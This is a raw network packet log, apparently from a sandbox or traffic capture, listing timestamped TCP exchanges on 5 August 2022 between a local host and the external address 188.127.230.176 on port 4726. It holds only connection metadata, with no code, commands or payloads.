Aug 5, 2022 11:33:13.824050903 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:13.824383974 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:13.884143114 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:13.884311914 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:13.970357895 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:13.970633030 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.022578001 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.075211048 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.135601997 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.220397949 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.220666885 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.314071894 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.314218998 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.407828093 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.407969952 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.409523964 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.450182915 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.459650040 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.459979057 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.548544884 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.548697948 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.600420952 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.600677013 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.652175903 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.652316093 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.736052990 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.736298084 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.829663038 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.829915047 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:14.923203945 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:14.923868895 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.017187119 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.075146914 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.157859087 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.158082008 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.251632929 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.251806021 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.345288992 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.403170109 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.485769033 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.485939980 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.579852104 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.629023075 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.720359087 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.747004032 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:15.829654932 CEST	4726	49801	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:15.840920925 CEST	49801	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.192111015 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.239758015 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.239980936 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.270209074 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.325803041 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.342411041 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.390599012 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.411264896 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.485508919 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.485656977 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.563961029 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.564152002 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.641639948 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.641773939 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.720216990 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.752300978 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.806395054 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.853965998 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.854120970 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.938935995 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.939182997 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:20.987561941 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:20.988219976 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.035976887 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.089298964 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.140391111 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.219815969 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.261321068 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.344935894 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.380974054 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.469913960 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.497392893 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.579525948 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.651880026 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.735927105 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.736161947 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:21.813918114 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:21.918612003 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:22.001095057 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:22.070491076 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:22.157469034 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:22.172564030 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:22.251130104 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:22.383667946 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:22.449574947 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:22.470276117 CEST	4726	49805	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:22.470511913 CEST	49805	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.732853889 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.780419111 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:26.780780077 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.802551985 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.858159065 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:26.858346939 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.939296007 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:26.939492941 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:26.988012075 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.041136026 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.068386078 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.157816887 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.157993078 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.236006975 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.249782085 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.252727985 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.297969103 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.298108101 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.342848063 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.423422098 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.423590899 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.471782923 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.472454071 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.520764112 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.572271109 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.617171049 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.704802990 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.705060959 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.798680067 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.799110889 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:27.892072916 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:27.914158106 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.001440048 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.001633883 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.095490932 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.172966003 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.267267942 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.316730976 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.407814980 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.408001900 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.501487970 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.617902994 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.704670906 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.704910040 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.800595045 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:28.862844944 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:28.954860926 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:29.009824038 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:29.088037014 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:29.095278978 CEST	4726	49807	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:29.095477104 CEST	49807	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.372509003 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.419742107 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.419991016 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.424801111 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.482650995 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.524137974 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.641835928 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.690834999 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.691042900 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.767196894 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.815593004 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.892834902 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.893090963 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:33.970352888 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:33.970613003 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.048531055 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.048743963 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.126699924 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.128272057 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.128998041 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.176323891 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.177185059 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.225001097 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.225191116 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.272476912 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.285456896 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.361036062 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.433758020 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.517148018 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.672801971 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.751648903 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.751910925 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.845638990 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.845824003 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:34.923522949 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:34.923762083 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.001632929 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.024046898 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.110802889 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.148967981 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.235937119 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.236124992 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.314126015 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.367732048 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.439070940 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.538825035 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.611150980 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.611490011 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:35.689132929 CEST	4726	49808	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:35.758236885 CEST	49808	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.004754066 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.052464008 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.052653074 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.053286076 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.107769966 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.107923985 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.188977003 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.189181089 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.236794949 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.237020016 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.314152956 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.349334002 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.423384905 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.429521084 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.501496077 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.501687050 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.579619884 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.612081051 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.663201094 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.711617947 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.729835987 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.814090014 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.814292908 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.862060070 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.862325907 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.909724951 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.909926891 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:40.985960960 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:40.986231089 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.064008951 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.100748062 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.189116955 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.189292908 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.267266989 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.392522097 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.470407009 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.480101109 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.564287901 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.596678972 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.673556089 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.784738064 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.831142902 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.861021996 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:41.881652117 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:41.959304094 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:42.048650026 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:42.100703955 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:42.189378023 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:42.225764036 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:42.288125038 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:42.314140081 CEST	4726	49809	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:42.314351082 CEST	49809	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.432651997 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.480566025 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.480864048 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.481159925 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.535887003 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.536164045 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.584500074 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.584705114 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.657881021 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.658021927 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.735805035 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.735960960 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.813930035 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.814076900 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.892211914 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.895163059 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.924705029 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.943011045 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.943197966 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:46.991214991 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:46.991645098 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.040030003 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.040348053 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.088656902 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.130534887 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.146584034 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.220501900 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.224594116 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.314254999 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.350200891 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.438961029 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.452152014 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.532893896 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.660670042 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.735888958 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.809947014 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.892324924 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.892534971 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:47.970396042 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:47.970599890 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:48.048554897 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:48.100090027 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:48.173619986 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:48.286789894 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:48.360996008 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:48.376691103 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:48.454647064 CEST	4726	49811	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:48.500494957 CEST	49811	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:52.790764093 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:52.837913990 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:52.838108063 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:52.852730989 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:52.907181978 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:52.918833971 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:52.966314077 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.004328012 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.079173088 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.079304934 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.157433987 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.160728931 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.235702038 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.236097097 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.268214941 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.283179045 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.283540010 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.360851049 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.361088037 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.409909010 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.457360983 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.504544020 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.505079985 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.551125050 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.595048904 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.595205069 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.673140049 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.782515049 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:53.876302004 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:53.975862026 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.063689947 CEST	4726	49812	188.127.230.176	192.168.11.20
